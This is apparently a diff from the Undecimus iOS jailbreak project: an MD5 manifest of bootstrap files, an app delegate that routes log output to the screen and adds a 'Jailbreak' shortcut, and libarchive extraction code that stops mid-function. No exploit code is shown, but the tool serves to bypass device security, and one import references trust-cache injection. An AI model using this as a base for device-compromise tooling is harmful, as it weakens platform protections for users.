||||
c835906031322f6793d0bba8a4024cf4 ./usr/share/terminfo/61/ansi+idl1
|
||||
3b55b40fd24d7095314b9c3571aac6fb ./usr/share/terminfo/61/ansil
|
||||
68354f5acab5acd36a028df8ef111944 ./usr/share/terminfo/61/ansi+idc
|
||||
3ae2c75389debb39daa93a37d0a05592 ./usr/share/terminfo/61/ansiw
|
||||
4ef30ab8d7c15a62823e5f4264f6d62d ./usr/share/terminfo/61/ansi80x30
|
||||
0929a9ac82bd6cb0238dfb7577b8240f ./usr/share/terminfo/61/ansi-mono
|
||||
12c43baa349979c093c1743a7489d8ee ./usr/share/terminfo/61/ansi+pp
|
||||
41573351ca6e86546bd1a58cdbf5cd62 ./usr/share/terminfo/61/ansi+idl
|
||||
fa2279010eb25eb9658280d4e8741a4c ./usr/share/terminfo/61/ansil-mono
|
||||
586b7d053f8a935202bc95bd769ee4f3 ./usr/share/terminfo/61/ansi80x30-mono
|
||||
3ae2c75389debb39daa93a37d0a05592 ./usr/share/terminfo/61/ansi80x25-raw
|
||||
71a5dd341d754460eb189f73779feb41 ./usr/share/terminfo/61/ansi+csr
|
||||
30ef341210e5227e41eaff5b83fac717 ./usr/share/terminfo/61/ansi-generic
|
||||
cf35f34c8755efb774005f800afab654 ./usr/share/terminfo/61/ansi+sgr
|
||||
6e327b6172dd4886024fd780797da60a ./usr/share/terminfo/61/ansi+cup
|
||||
a811d944eb78b2a1f97aa6578dca08fa ./usr/share/terminfo/61/ansi-emx
|
||||
017e3893644413c3d4446ac47c93951f ./usr/share/terminfo/61/ansi+sgrbold
|
||||
0afdcc1032306d8d3ea05def04340d21 ./usr/share/terminfo/61/ansi+sgrul
|
||||
418c636af2942a1462885a6b667825a7 ./usr/share/terminfo/61/ansi80x60-mono
|
||||
5ab0fa91be25a2e1005fcd94dc9dd469 ./usr/share/terminfo/61/ansi+sgrso
|
||||
6b3a86ff2f1b95acfdd820fbf8750b01 ./usr/share/terminfo/61/ansi
|
||||
f18d72643477964bafbb499a518afab3 ./usr/share/terminfo/61/ansi-color-2-emx
|
||||
5cc9c4e94f47197a1171e8841c0909a6 ./usr/share/terminfo/61/ansis-mono
|
||||
bd5a24c27f2aae15e7c8616478b35177 ./usr/share/terminfo/61/ansi-color-3-emx
|
||||
47a77469940121acd86a1b82db198f3b ./usr/share/terminfo/61/ansisysk
|
||||
6871af613871edf164a0656f20dc2c8c ./usr/share/terminfo/61/ansi43m
|
||||
042f8da76683abcdace3439800571223 ./usr/share/terminfo/61/ansi-mtabs
|
||||
33b216e8fec086dbe4c884aa7b566d5b ./usr/share/terminfo/61/ansi+sgrdim
|
||||
5eb691998583e67c1d1d66f6d1b065ba ./usr/share/terminfo/61/ansi80x25
|
||||
38ad8b0dad6aab8bd2016f70a99cd5b0 ./usr/share/terminfo/61/ansi+erase
|
||||
aa05b8d0aa5e705fa2ad93378fd63f6e ./usr/share/terminfo/61/ansi+rep
|
||||
5eb691998583e67c1d1d66f6d1b065ba ./usr/share/terminfo/61/ansis
|
||||
3b55b40fd24d7095314b9c3571aac6fb ./usr/share/terminfo/61/ansi80x50
|
||||
7183c55fa5ac8798a7dc32930ac058f5 ./usr/share/terminfo/61/ansi+tabs
|
||||
943d1287db33a09d31ba2ec571047807 ./usr/share/terminfo/61/ansi+local1
|
||||
c54fc1fd467518dae352dd8de6fade98 ./usr/share/terminfo/61/ansi80x60
|
||||
54f926c6f19b6d1f02ced3ec7dcc7d2d ./usr/share/terminfo/61/ansi+rca
|
||||
c12e955efc5c4f813357a89fd90a84b3 ./usr/share/terminfo/61/ansi-mini
|
||||
908b80b219e9ae677f65aac5814a8aba ./usr/share/terminfo/61/ansi+enq
|
||||
5b2a31e020e45acef8b3154423e36061 ./usr/share/terminfo/61/ansi-nt
|
||||
7a494b98caadb3132504382fe6ccd1e3 ./usr/share/terminfo/61/ansi77
|
||||
d59ad3dfe0d905f83febae83bbb6490d ./usr/share/terminfo/61/ansi-mr
|
||||
c5195124980c2d8c2be86cbfa4c29390 ./usr/share/terminfo/61/ansi80x43-mono
|
||||
fccc68bc07c0961e088e0b327d585008 ./usr/share/terminfo/61/ansi.sys
|
||||
3f95bb59083f6458ee20714be2455c24 ./usr/share/terminfo/61/ansi.sys-old
|
||||
47a77469940121acd86a1b82db198f3b ./usr/share/terminfo/61/ansi.sysk
|
||||
5cc9c4e94f47197a1171e8841c0909a6 ./usr/share/terminfo/61/ansi80x25-mono
|
||||
34b77e5af5db12946a3720cb7c72fbbc ./usr/share/terminfo/61/ansi+inittabs
|
||||
fe8ccd619fa36730e1989be8bf64a880 ./usr/share/terminfo/61/ansi+local
|
||||
0929a9ac82bd6cb0238dfb7577b8240f ./usr/share/terminfo/61/ansi-m
|
||||
e0a527902af2067e4b2d7233098a9544 ./usr/share/terminfo/61/ansi80x43
|
||||
acc9f736d0109a103776546ff99d4448 ./usr/share/terminfo/61/ansi+arrows
|
||||
758da19fa1ad8fa0aa8872d2fa4fabc2 ./usr/share/terminfo/73/screen-16color
|
||||
71191244af59a0bc0eff3cb7e5c6761a ./usr/share/terminfo/73/screen2
|
||||
779220648133f21501a25a1d7f736ede ./usr/share/terminfo/73/screen3
|
||||
6e536f3f0ca81e760cca30af42ef5ee5 ./usr/share/terminfo/73/screen-16color-bce-s
|
||||
acdec11a201772f9868008c9b35370a4 ./usr/share/terminfo/73/screen-256color-bce
|
||||
451f167847fa67389cf5d57ce1407e43 ./usr/share/terminfo/73/screen.rxvt
|
||||
24337a754ffdf33baa8f7833fec84a17 ./usr/share/terminfo/73/screen.xterm-r6
|
||||
2fdd2ae242a69fc6a6846adbad436bfb ./usr/share/terminfo/73/screen-w
|
||||
1fc43105421912a088b1d94675f7fd05 ./usr/share/terminfo/73/screen.xterm-xfree86
|
||||
4209d2ad407722c4ee0d38679569633f ./usr/share/terminfo/73/screen-16color-s
|
||||
6f004c8e3d5856b5522c8cecbc668ecd ./usr/share/terminfo/73/screen.linux
|
||||
ac3ad0fb0869538166f5a12fbcfe0c21 ./usr/share/terminfo/73/screen-256color-bce-s
|
||||
206907aeaa38189a8b2e74feae020f91 ./usr/share/terminfo/73/screen
|
||||
1e076f070f12f1039f827e518717c5e0 ./usr/share/terminfo/73/screen-bce
|
||||
40e690ba777f5df6351949d569a0c419 ./usr/share/terminfo/73/screen-256color-s
|
||||
3b4151a6763a7d1439e8b1709325f123 ./usr/share/terminfo/73/screen.mlterm
|
||||
6db29fffc6c61f7ce0052805f9d997d9 ./usr/share/terminfo/73/screen-s
|
||||
06d68826ae2b44388d31bbf15bfc3ebf ./usr/share/terminfo/73/screen.teraterm
|
||||
bc62056fcb4a9609cb0ce74bbf3fa5e8 ./usr/share/terminfo/73/screen-16color-bce
|
||||
1fc43105421912a088b1d94675f7fd05 ./usr/share/terminfo/73/screen.xterm-new
|
||||
ffb01624d78c3593c3a5c34624186a7d ./usr/share/terminfo/73/screen-256color
|
||||
19c69a8a937560ae5f5f88b0fe6773a6 ./usr/share/terminfo/73/screen+fkeys
|
||||
6571655c5c8e2cdd82754860b0f12cf9 ./usr/share/terminfo/6c/linux-lat
|
||||
0a3b98f41dbaa4ec10b6b33e1f7e5fb8 ./usr/share/terminfo/6c/linux-koi8r
|
||||
53ab5f398fdf2fc9a04e3d443439c748 ./usr/share/terminfo/6c/linux-vt
|
||||
c908ab61179176e87feeffea61d48550 ./usr/share/terminfo/6c/linux-basic
|
||||
645999d4afb490d40ff6b55239ad8173 ./usr/share/terminfo/6c/linux
|
||||
3497148074bf923fb5947f332143b4dc ./usr/share/terminfo/6c/linux-c-nc
|
||||
5f6c4c2e8b8176b5a75551a123d6a5c7 ./usr/share/terminfo/6c/linux2.6.26
|
||||
d430677ee48aaa29b1ec07856fadf1b3 ./usr/share/terminfo/6c/linux-c
|
||||
859f454b42150769255dcb99d7715769 ./usr/share/terminfo/6c/linux-m
|
||||
ef9a25f74c562344cc9840830df27ce9 ./usr/share/terminfo/6c/linux-nic
|
||||
1e2899cc9d0dbb7e97adc7c6117e296c ./usr/share/terminfo/6c/linux-koi8
|
||||
a06a3fcbf8aebe420717a1933eb21572 ./usr/share/terminfo/76/vt100-putty
|
||||
5ab1f7397095f804dcb33dd95358ff71 ./usr/share/terminfo/76/vt100-nav-w
|
||||
4aaaf3867c2dd1faef92e6519d38e26e ./usr/share/terminfo/76/vt100-s
|
||||
2cfff02a7d0fe4d1ae27b0127b9a7716 ./usr/share/terminfo/76/vt100+
|
||||
e49122999d1ba9ccbe2f7f56d706e897 ./usr/share/terminfo/76/vt100nam
|
||||
5619ee07eba86463eb529b11fa45b7a5 ./usr/share/terminfo/76/vt100-vb
|
||||
1da2593594b479b4ad1191724b755981 ./usr/share/terminfo/76/vt100+enq
|
||||
4aaaf3867c2dd1faef92e6519d38e26e ./usr/share/terminfo/76/vt100-s-top
|
||||
f99eba18048c6edefef69b2aa6cf9671 ./usr/share/terminfo/76/vt100-nam-w
|
||||
3d6df1ce9053ede73fe26bbb393a2da4 ./usr/share/terminfo/76/vt100+fnkeys
|
||||
25cbb52e83f147f21489d20addde7cd1 ./usr/share/terminfo/76/vt100-w
|
||||
96300e9c1b0dea5f61383f5d22342ef3 ./usr/share/terminfo/76/vt100
|
||||
5ab1f7397095f804dcb33dd95358ff71 ./usr/share/terminfo/76/vt100-w-nav
|
||||
846029909338b3ee934e3cc1de3f3c0e ./usr/share/terminfo/76/vt100-bot-s
|
||||
f99eba18048c6edefef69b2aa6cf9671 ./usr/share/terminfo/76/vt100-w-nam
|
||||
8fe8280e41916a873a0235c91308ebd2 ./usr/share/terminfo/76/vt100+pfkeys
|
||||
4aaaf3867c2dd1faef92e6519d38e26e ./usr/share/terminfo/76/vt100-top-s
|
||||
76baa3a9460d6112ac20dbf6f58725c2 ./usr/share/terminfo/76/vt100-nav
|
||||
e49122999d1ba9ccbe2f7f56d706e897 ./usr/share/terminfo/76/vt100-nam
|
||||
1fff1e9d64dd710f90c6008da71cd0a3 ./usr/share/terminfo/76/vt100-bm-o
|
||||
9093d267d0a3b5b7edc3008c6403d47b ./usr/share/terminfo/76/vt100+keypad
|
||||
96300e9c1b0dea5f61383f5d22342ef3 ./usr/share/terminfo/76/vt100-am
|
||||
846029909338b3ee934e3cc1de3f3c0e ./usr/share/terminfo/76/vt100-s-bot
|
||||
25cbb52e83f147f21489d20addde7cd1 ./usr/share/terminfo/76/vt100-w-am
|
||||
846bea1b765ff91b190735acc298a355 ./usr/share/terminfo/76/vt100-bm
|
||||
0ba872cd880784a95b7af42a83c48949 ./usr/share/terminfo/78/xterm-256color
|
||||
29fb028ed95c62344e4c7481dcd29073 ./bin/cat
|
||||
6fc19a7da30a530781ee4273f2a522e9 ./bin/launchctl
|
||||
466ef7ee8a34ba8440e3acb80fa71c87 ./bin/pwd
|
||||
b341e08776130c4bbeacb3c5440a3c8a ./bin/sleep
|
||||
eef9a9be2cbabea493244700f9ae1a74 ./bin/stty
|
||||
49022225d7e96a902373075d65aec180 ./bin/date
|
||||
c88dae390cc7a36d809c47d1ebc3eb8b ./bin/bash
|
||||
07c13bc01719fade1c0de1a58e724054 ./bin/kill
|
||||
370429cf74f838ef835d2f6c0d3fa372 ./bin/sh
|
||||
917a48c4bfbf425642bc6bb211b471c8 ./bin/dd
|
||||
77478fa33e34293ec64b06520e4c177b ./bin/mkdir
|
||||
1db90ee85858bfe24c3e48ee79fc6a8f ./bin/hostname
|
||||
1af430cf9a416718a833dc7d56b83d3f ./bin/rmdir
|
||||
d7b48f7b1b6079c15ca03433aa491b80 ./bin/mv
|
||||
36d7da72f9f403da7f93d05a730e34dc ./bin/ln
|
||||
ab5a603e1b9767b4bdbc7bbe0d1c73ab ./bin/ls
|
||||
073a21568d2972f660a50a6285382e22 ./bin/cp
|
||||
960e843cbea307bbfbfbe03cf0ba6dc7 ./bin/sync
|
||||
1bcc4fc32919686b78d57ddc7c52bd9b ./bin/zsh
|
||||
cef478d4cc0ecf6e79cd66ef6637c326 ./bin/chmod
|
||||
4f5505d33d87c4a7ff02193201259efe ./bin/rm
|
||||
be57e6ecb88b09d17bade80754ac9090 ./sbin/md5
|
||||
d55d1d2b3bb292f0a0bb336fe9207b8e ./sbin/ping
|
||||
80d22f83f5a5910c514548dab882ab88 ./sbin/shutdown
|
||||
fd71b7e59272201dd1224423907f6d19 ./sbin/ifconfig
|
||||
7654ea8f99b18c262cd3eb77147640dd ./sbin/umount
|
||||
50a03c50fd14f9ec62f5354ff65b2a8c ./sbin/kextunload
|
||||
139ce2d3be19697053781879d36e932e ./sbin/mknod
|
||||
4945de2c730d66ee21d0ab14990c026f ./sbin/dmesg
|
||||
1a2802c58d678f6e8f8f8b2027c97c63 ./etc/zshrc
|
||||
fe116dfdd0905b1d881cdb27799332d3 ./etc/profile
|
||||
d41d8cd98f00b204e9800998ecf8427e ./etc/apt/sources.list.d/cydia.list
|
||||
ac0e7ddf2acd61e6c54b37f9fafc1253 ./etc/apt/sources.list.d/saurik.list
|
||||
7c47a6c3258b47b256f601d65c6dae3d ./etc/apt/trusted.gpg.d/zodttd.gpg
|
||||
4f56a1d2f4b62780e13bc494dd0eb8e6 ./etc/apt/trusted.gpg.d/bigboss.gpg
|
||||
ba6d927670a3d16eea0930c13ce60720 ./etc/apt/trusted.gpg.d/modmyi.gpg
|
||||
f2df1c620b1de53b3328f7d16be06317 ./etc/apt/trusted.gpg.d/saurik.gpg
|
||||
69c4ba7f08363e998e0f2e244a04f881 ./etc/alternatives/README
|
||||
9f17f5160584913c1ac2395923f233df ./default.ent
|
||||
@@ -3,7 +3,7 @@
|
||||
// Undecimus
|
||||
//
|
||||
// Created by pwn20wnd on 8/29/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
@@ -11,7 +11,9 @@
|
||||
@interface AppDelegate : UIResponder <UIApplicationDelegate>
|
||||
|
||||
@property (strong, nonatomic) UIWindow *window;
|
||||
|
||||
@property (strong, atomic) NSPipe *combinedPipe;
|
||||
@property (assign) int orig_stderr;
|
||||
@property (assign) int orig_stdout;
|
||||
|
||||
@end
|
||||
|
||||
@@ -0,0 +1,145 @@
|
||||
//
|
||||
// AppDelegate.m
|
||||
// Undecimus
|
||||
//
|
||||
// Created by pwn20wnd on 8/29/18.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#include <sys/time.h>
|
||||
#import "AppDelegate.h"
|
||||
#include "JailbreakViewController.h"
|
||||
#include "SettingsTableViewController.h"
|
||||
#include "utils.h"
|
||||
#include "prefs.h"
|
||||
|
||||
@interface AppDelegate ()
|
||||
|
||||
@end
|
||||
|
||||
@implementation AppDelegate
|
||||
|
||||
-(AppDelegate*)init {
|
||||
self = [super init];
|
||||
enableLogging();
|
||||
_combinedPipe = [NSPipe pipe];
|
||||
_orig_stdout = dup(STDOUT_FILENO);
|
||||
_orig_stderr = dup(STDERR_FILENO);
|
||||
dup2(_combinedPipe.fileHandleForWriting.fileDescriptor, STDOUT_FILENO);
|
||||
dup2(_combinedPipe.fileHandleForWriting.fileDescriptor, STDERR_FILENO);
|
||||
[self performSelectorInBackground:@selector(handlePipe) withObject:nil];
|
||||
return self;
|
||||
}
|
||||
|
||||
-(NSString*)readDataFromFD:(int)infd toFD:(int)outfd {
|
||||
char s[0x10000];
|
||||
|
||||
ssize_t nread = read(infd, s, sizeof(s));
|
||||
if (nread <= 0)
|
||||
return nil;
|
||||
|
||||
write(outfd, s, nread);
|
||||
if (logfd > 0) {
|
||||
if (write(logfd, s, nread) != nread) {
|
||||
write(_orig_stderr, "error writing to logfile\n", 26);
|
||||
}
|
||||
}
|
||||
return [[NSString alloc] initWithBytes:s length:nread encoding:NSUTF8StringEncoding];
|
||||
}
|
||||
|
||||
- (void)handlePipe {
|
||||
fd_set fds;
|
||||
NSMutableString *outline = [NSMutableString new];
|
||||
|
||||
int input_fd = _combinedPipe.fileHandleForReading.fileDescriptor;
|
||||
int rv;
|
||||
|
||||
do {
|
||||
FD_ZERO(&fds);
|
||||
FD_SET(input_fd, &fds);
|
||||
rv = select(FD_SETSIZE, &fds, NULL, NULL, NULL);
|
||||
if (FD_ISSET(input_fd, &fds)) {
|
||||
NSString *read = [self readDataFromFD:input_fd toFD:_orig_stdout];
|
||||
if (read == nil)
|
||||
continue;
|
||||
[outline appendString:read];
|
||||
NSRange lastNewline = [read rangeOfString:@"\n" options:NSBackwardsSearch];
|
||||
if (lastNewline.location != NSNotFound) {
|
||||
lastNewline.location = outline.length - (read.length - lastNewline.location);
|
||||
NSRange wanted = {0, lastNewline.location + 1};
|
||||
[JailbreakViewController.sharedController appendTextToOutput:[outline substringWithRange:wanted]];
|
||||
[outline deleteCharactersInRange:wanted];
|
||||
}
|
||||
}
|
||||
} while (rv > 0);
|
||||
}
|
||||
|
||||
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
|
||||
// Override point for customization after application launch.
|
||||
[self initPrefs];
|
||||
[self initShortcuts];
|
||||
UIApplication.sharedApplication.idleTimerDisabled = TRUE;
|
||||
return YES;
|
||||
}
|
||||
|
||||
|
||||
- (void)initPrefs {
|
||||
register_default_prefs();
|
||||
repair_prefs();
|
||||
}
|
||||
|
||||
- (void)initShortcuts {
|
||||
NSMutableArray *ShortcutItems = [[NSMutableArray alloc] init];
|
||||
UIApplicationShortcutIcon *JailbreakIcon = [UIApplicationShortcutIcon iconWithTemplateImageName:@"maintenance"];
|
||||
UIApplicationShortcutItem *JailbreakShortcut = [[UIApplicationShortcutItem alloc] initWithType:@"1" localizedTitle:@"Jailbreak" localizedSubtitle:nil icon:JailbreakIcon userInfo:nil];
|
||||
[ShortcutItems addObject:JailbreakShortcut];
|
||||
[[UIApplication sharedApplication] setShortcutItems:ShortcutItems];
|
||||
}
|
||||
|
||||
- (void)application:(UIApplication *)application performActionForShortcutItem:(UIApplicationShortcutItem *)shortcutItem completionHandler:(void (^)(BOOL))completionHandler {
|
||||
switch ([[shortcutItem type] integerValue]) {
|
||||
case 1: {
|
||||
[[JailbreakViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
- (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary <UIApplicationOpenURLOptionsKey, id> *)options {
|
||||
if ([[url absoluteString] isEqualToString:@"undecimus://jailbreak"]) {
|
||||
[[JailbreakViewController sharedController] performSelectorOnMainThread:@selector(tappedOnJailbreak:) withObject:nil waitUntilDone:YES];
|
||||
return YES;
|
||||
}
|
||||
return NO;
|
||||
}
|
||||
|
||||
- (void)applicationWillResignActive:(UIApplication *)application {
|
||||
// Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
|
||||
// Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game.
|
||||
}
|
||||
|
||||
|
||||
- (void)applicationDidEnterBackground:(UIApplication *)application {
|
||||
// Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
|
||||
// If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
|
||||
}
|
||||
|
||||
|
||||
- (void)applicationWillEnterForeground:(UIApplication *)application {
|
||||
// Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background.
|
||||
}
|
||||
|
||||
|
||||
- (void)applicationDidBecomeActive:(UIApplication *)application {
|
||||
// Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.
|
||||
}
|
||||
|
||||
|
||||
- (void)applicationWillTerminate:(UIApplication *)application {
|
||||
// Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
|
||||
}
|
||||
|
||||
|
||||
@end
|
||||
@@ -0,0 +1,34 @@
|
||||
//
|
||||
// Archive.h
|
||||
//
|
||||
// Created by Sam Bingner on 1/4/19.
|
||||
// Copyright © 2019 Sam Bingner. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef _ARCHIVE_FILE_H
|
||||
#define _ARCHIVE_FILE_H
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <archive.h>
|
||||
|
||||
@interface ArchiveFile : NSObject
|
||||
@property (strong,readonly) NSDictionary *files;
|
||||
|
||||
+(ArchiveFile*)archiveWithFile:(NSString*)filename;
|
||||
+(ArchiveFile*)archiveWithFd:(int)fd;
|
||||
-(ArchiveFile*)initWithFile:(NSString*)filename;
|
||||
-(ArchiveFile*)initWithFd:(int)fd;
|
||||
-(BOOL)contains:(NSString*)file;
|
||||
-(NSDictionary *)files;
|
||||
-(BOOL)extract;
|
||||
-(BOOL)extractFileNum:(int)fileNum toFd:(int)fd;
|
||||
-(BOOL)extract:(NSString*)file toPath:(NSString*)path;
|
||||
-(BOOL)extractWithFlags:(int)flags;
|
||||
-(BOOL)extractToPath:(NSString*)path;
|
||||
-(BOOL)extractToPath:(NSString*)path withOwner:(id_t)owner andGroup:(id_t)group;
|
||||
-(BOOL)extractToPath:(NSString*)path overWriteDirectories:(BOOL)overwrite_dirs;
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags;
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs;
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs owner:(id_t)owner andGroup:(id_t)group;
|
||||
@end
|
||||
|
||||
#endif /* _ARCHIVE_FILE_H */
|
||||
@@ -0,0 +1,515 @@
|
||||
//
|
||||
// Archive.m
|
||||
//
|
||||
// Created by Sam Bingner on 1/4/19.
|
||||
// Copyright © 2019 Sam Bingner. All rights reserved.
|
||||
//
|
||||
|
||||
#import "ArchiveFile.h"
|
||||
#import <archive.h>
|
||||
#import <archive_entry.h>
|
||||
#import <inject.h> // Test static trust cache
|
||||
|
||||
#define DEFAULT_FLAGS (ARCHIVE_EXTRACT_TIME|ARCHIVE_EXTRACT_PERM|ARCHIVE_EXTRACT_ACL| \
|
||||
ARCHIVE_EXTRACT_FFLAGS|ARCHIVE_EXTRACT_OWNER|ARCHIVE_EXTRACT_UNLINK)
|
||||
|
||||
static int
|
||||
copy_data(struct archive *ar, struct archive *aw)
|
||||
{
|
||||
int r;
|
||||
const void *buff;
|
||||
size_t size;
|
||||
off_t offset;
|
||||
|
||||
for (;;) {
|
||||
r = archive_read_data_block(ar, &buff, &size, &offset);
|
||||
if (r == ARCHIVE_EOF)
|
||||
return (ARCHIVE_OK);
|
||||
if (r < ARCHIVE_OK)
|
||||
return (r);
|
||||
if (archive_write_data_block(aw, buff, size, offset) < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(aw));
|
||||
return (r);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@implementation ArchiveFile {
|
||||
NSMutableDictionary *_files;
|
||||
int _fd;
|
||||
BOOL _hasReadFiles;
|
||||
BOOL _isPipe;
|
||||
}
|
||||
|
||||
+(ArchiveFile*)archiveWithFile:(NSString *)filename
|
||||
{
|
||||
#if __has_feature(objc_arc)
|
||||
return [[ArchiveFile alloc] initWithFile:filename];
|
||||
#else
|
||||
return [[[ArchiveFile alloc] initWithFile:filename] autorelease];
|
||||
#endif
|
||||
}
|
||||
|
||||
+(ArchiveFile*)archiveWithFd:(int)fd
|
||||
{
|
||||
#if __has_feature(objc_arc)
|
||||
return [[ArchiveFile alloc] initWithFd:fd];
|
||||
#else
|
||||
return [[[ArchiveFile alloc] initWithFd:fd] autorelease];
|
||||
#endif
|
||||
}
|
||||
-(void)addEntry:(struct archive_entry *)entry
|
||||
{
|
||||
NSString *path = @(archive_entry_pathname(entry));
|
||||
_files[path] = [NSMutableDictionary new];
|
||||
_files[path][@"mode"] = @(archive_entry_mode(entry));
|
||||
_files[path][@"uid"] = @(archive_entry_uid(entry));
|
||||
_files[path][@"gid"] = @(archive_entry_gid(entry));
|
||||
time_t mtime = archive_entry_mtime(entry);
|
||||
if (mtime) {
|
||||
_files[path][@"mtime"] = [NSDate dateWithTimeIntervalSince1970:mtime];
|
||||
}
|
||||
}
|
||||
-(void)readContents
|
||||
{
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK)
|
||||
return;
|
||||
|
||||
struct archive_entry *entry;
|
||||
while (archive_read_next_header(a, &entry) == ARCHIVE_OK) {
|
||||
[self addEntry:entry];
|
||||
}
|
||||
_hasReadFiles = YES;
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
lseek(_fd, 0, SEEK_SET);
|
||||
}
|
||||
|
||||
-(ArchiveFile*)init
|
||||
{
|
||||
self = [super init];
|
||||
_files = [NSMutableDictionary new];
|
||||
_hasReadFiles = NO;
|
||||
return self;
|
||||
}
|
||||
|
||||
-(ArchiveFile*)initWithFile:(NSString*)filename
|
||||
{
|
||||
if (![[NSFileManager defaultManager] fileExistsAtPath:filename]) {
|
||||
NSLog(@"Archive: File \"%@\" does not exist", filename);
|
||||
return nil;
|
||||
}
|
||||
self = [self init];
|
||||
|
||||
_fd = open(filename.UTF8String, O_RDONLY);
|
||||
if (_fd < 0) {
|
||||
perror("Archive open file returned error");
|
||||
return nil;
|
||||
}
|
||||
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK)
|
||||
return nil;
|
||||
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
lseek(_fd, 0, SEEK_SET);
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
-(ArchiveFile*)initWithFd:(int)fd
|
||||
{
|
||||
self = [self init];
|
||||
_isPipe = YES;
|
||||
|
||||
_fd = fd;
|
||||
if (_fd < 0) {
|
||||
perror("Dup fd");
|
||||
return nil;
|
||||
}
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
-(NSDictionary*)files {
|
||||
if (!_hasReadFiles) {
|
||||
[self readContents];
|
||||
}
|
||||
return [_files copy];
|
||||
}
|
||||
|
||||
-(BOOL)extractFileNum:(int)fileNum toFd:(int)fd
|
||||
{
|
||||
BOOL result = NO;
|
||||
/* Select which attributes we want to restore. */
|
||||
|
||||
if (fd < 0) {
|
||||
NSLog(@"Archive: invalid fd");
|
||||
return NO;
|
||||
}
|
||||
|
||||
if (fileNum < 1) {
|
||||
NSLog(@"Archive: invalid fileNum");
|
||||
return NO;
|
||||
}
|
||||
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK) {
|
||||
NSLog(@"Archive: unable to archive_read_open_fd: %s", archive_error_string(a));
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
// Seek to entry
|
||||
struct archive_entry *entry = NULL;
|
||||
int rv ;
|
||||
for (int i=1; (rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK && i<fileNum; i++);
|
||||
|
||||
if (rv == ARCHIVE_EOF) {
|
||||
NSLog(@"Archive: no file %d", fileNum);
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(a));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (archive_entry_size(entry) > 0) {
|
||||
rv = archive_read_data_into_fd(a, fd);
|
||||
}
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(a));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
result = YES;
|
||||
out:
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
-(BOOL)extract:(NSString*)file toFd:(int)fd
|
||||
{
|
||||
BOOL result = NO;
|
||||
/* Select which attributes we want to restore. */
|
||||
|
||||
if (fd < 0) {
|
||||
NSLog(@"Archive: invalid fd");
|
||||
return NO;
|
||||
}
|
||||
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK) {
|
||||
NSLog(@"Archive: unable to archive_read_open_fd: %s", archive_error_string(a));
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
// Seek to entry
|
||||
struct archive_entry *entry = NULL;
|
||||
int rv;
|
||||
while ((rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK &&
|
||||
strcmp(archive_entry_pathname(entry), file.UTF8String) != 0
|
||||
);
|
||||
|
||||
if (rv == ARCHIVE_EOF) {
|
||||
NSLog(@"Archive: no such file \"%@\"", file);
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(a));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (entry && (strcmp(archive_entry_pathname(entry), file.UTF8String) != 0) ) {
|
||||
NSLog(@"Archive: Unable to find entry for %@", file);
|
||||
goto out;
|
||||
}
|
||||
|
||||
